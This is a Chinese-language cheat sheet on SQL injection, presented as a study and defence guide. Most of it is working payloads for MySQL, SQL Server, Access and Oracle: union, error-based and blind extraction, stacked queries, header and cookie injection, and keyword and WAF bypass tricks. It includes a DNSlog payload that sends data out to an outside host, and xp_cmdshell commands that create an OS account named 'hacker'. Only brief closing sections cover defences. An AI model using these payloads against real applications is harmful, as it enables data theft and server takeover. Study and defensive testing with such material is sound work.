浅谈Sql注入总结笔记整理(超详细)
字数 2417 2025-08-12 11:33:58
SQL注入全面攻防指南
一、SQL注入概述
SQL注入是指Web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在预先定义好的查询语句结尾添加额外SQL语句,实现非法操作。这种攻击可以欺骗数据库服务器执行非授权查询,获取敏感数据。
二、SQL注入检测方法
1. 测试注入点
- 在参数后添加单引号或双引号:
id=1'或id=1" - 尝试闭合括号:
id=1')或id=1")) - 观察返回包是否报错或长度变化
2. 其他检测方式
- 构造GET/POST/Cookie请求查找敏感信息
- 构造特殊语句检测服务器响应异常
三、SQL注入类型详解
1. MySQL注入
数字型注入
测试步骤:
- 加单引号:
id=3'→select * from table where id=3'(应报错) - 加
and 1=1:id=3 and 1=1(应正常) - 加
and 1=2:id=3 and 1=2(应无结果)
字符型注入
测试步骤:
- 加单引号:
name='admin''(三个引号应报错) - 构造闭合:
name='admin' and 1=1--'(应正常) - 构造错误:
name='admin' and 1=2--'(应报错)
信息获取技术
- 判断列数:
id=1' order by 4# - 爆数据库:
id=-1' union select 1,database(),3--+ - 爆数据表:
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='数据库'# - 爆字段:
id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='数据表'# - 爆数据:
id=-1' union select 1,group_concat(0x7e,字段,0x7e),3 from 数据库名.数据表名--+
常用函数
system_user() # 系统用户名
user() # 用户名
database() # 数据库名
version() # MySQL版本
load_file() # 读取本地文件
@@datadir # 数据库路径
@@basedir # MySQL安装路径
报错注入技术
- extractvalue函数:
id=1' and extractvalue(1, concat(0x7e,(select @@version),0x7e))--+ - updatexml函数:
id=1' and updatexml(1, concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e),1)--+ - floor函数:
id=1' union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2))a from information_schema.schemata group by a--+
延时注入
- 判断注入点:
id=1' and sleep(5)--+ - 爆数据库长度:
id=1' and if(length(database())=8,sleep(10),1)--+ - 逐字符判断:
id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(10))--+
布尔盲注
- Left判断:
id=1' and left(database(),1)='s' --+ - Like语句:
id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like 'e%'--+ - ASCII判断:
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115--+
堆叠注入
id=1';show tables%23
id=-1';show columns from 表名%23
id=1'; insert into users(id,username,password) values(88,'aaa','bbb')#
2. 其他特殊注入类型
宽字节注入
前提:
- 使用addslashes()函数
- 数据库编码为GBK
Payload:
id=%df' and 1=1 --+
id=%df' union select 1,2,3 %23
Cookie/XFF注入
- Cookie注入:修改Cookie值如
' order by 4--+ - XFF注入:添加头部
X-Forwarded-For:127.0.0.1' and 1=1--
搜索框注入
Payload:
%' and '%1%'='%1
%' and '%1%'='%2
a%' and 1=1-- 正常
a%' and 1=2-- 错误
DNSlog外带注入
id=1' and (select load_file(concat('\\',(select database()),'.dnslog.cn/abc')))
Limit注入
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,version())),1);
Order by注入
?sort=1 and(select extractvalue(0x7e,concat(0x7e,database(),0x7e)))
?sort=(select 1 from(select 1 and if(ascii(substr((user()),1,1))=114,sleep(5),1))x)
3. SQLServer注入
基本信息获取
select @@version; # 版本信息
select @@servername; # 服务名
select db_name(); # 当前数据库
select user; # 当前用户
权限判断
select is_srvrolemember('sysadmin') # SA权限
select is_member('db_owner') # db_owner权限
select is_srvrolemember('public') # public权限
报错注入
and 1=(select @@VERSION) # 版本
and 1=(select db_name()) # 当前库
and 1=convert(int,(select top 1 table_name from information_schema.tables))
命令执行
开启xp_cmdshell:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
执行命令:
exec master..xp_cmdshell "whoami"
exec master.dbo.xp_cmdshell 'net user hacker 123456 /add'
4. Access注入
常规注入
- 判断注入:
id=1'、id=1 and 1=1、id=1 and 1=2 - 猜字段:
order by 4 - 查表:
and exists (select * from 表名) - 查列:
and exists (select 列名 from 表名)
偏移注入
当知道表名但不知道列名时:
union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
5. Oracle注入
常规注入
and 1=2 union select null,null,null from dual--
and 1=2 union select 1,'2','3' from dual-- # 判断显示位
报错注入
and 1=utl_inaddr.get_host_name((select user from dual)) --
and 1=ctxsys.drithsx.sn(1,(select user from dual)) --
时间盲注
and 1=(select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('a',5),0) from dual)
四、SQL注入绕过技术
1. 空格绕过
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /!/
2. 引号绕过
使用十六进制:
select column_name from information_schema.tables where table_name=0x7573657273
3. 逗号绕过
使用FROM TO:
select substr(database() from 1 for 1);
4. 比较符号绕过
使用greatest/least:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
5. 注释符绕过
id=1' union select 1,2,3||'1
id=1' union select 1,2,'3
6. 关键字绕过
- 大小写:
UnIoN/**/SeLeCT - 内联注释:
/!UnIoN/ SeLeCT 1,2,3 - 双关键字:
UNIunionON SeLselectECT
五、防御措施
- 使用参数化查询(预编译语句)
- 对输入进行严格过滤和转义
- 最小权限原则,数据库用户只赋予必要权限
- 使用Web应用防火墙(WAF)
- 定期更新和修补数据库系统
- 关闭错误回显,使用自定义错误页面
- 对敏感操作使用二次验证
六、工具推荐
- sqlmap:自动化SQL注入工具
- Burp Suite:手动测试和漏洞验证
- NoSQLMap:针对NoSQL数据库的注入工具
- jSQL Injection:轻量级Java注入工具
七、学习资源
- OWASP SQL注入防御指南
- MITRE ATT&CK SQL注入技术条目
- SQL注入漏洞赏金案例研究
- 各大CTF比赛中的SQL注入挑战题
通过全面理解这些技术和方法,安全专业人员可以更有效地发现和防御SQL注入漏洞,开发人员也能编写更安全的代码来预防此类攻击。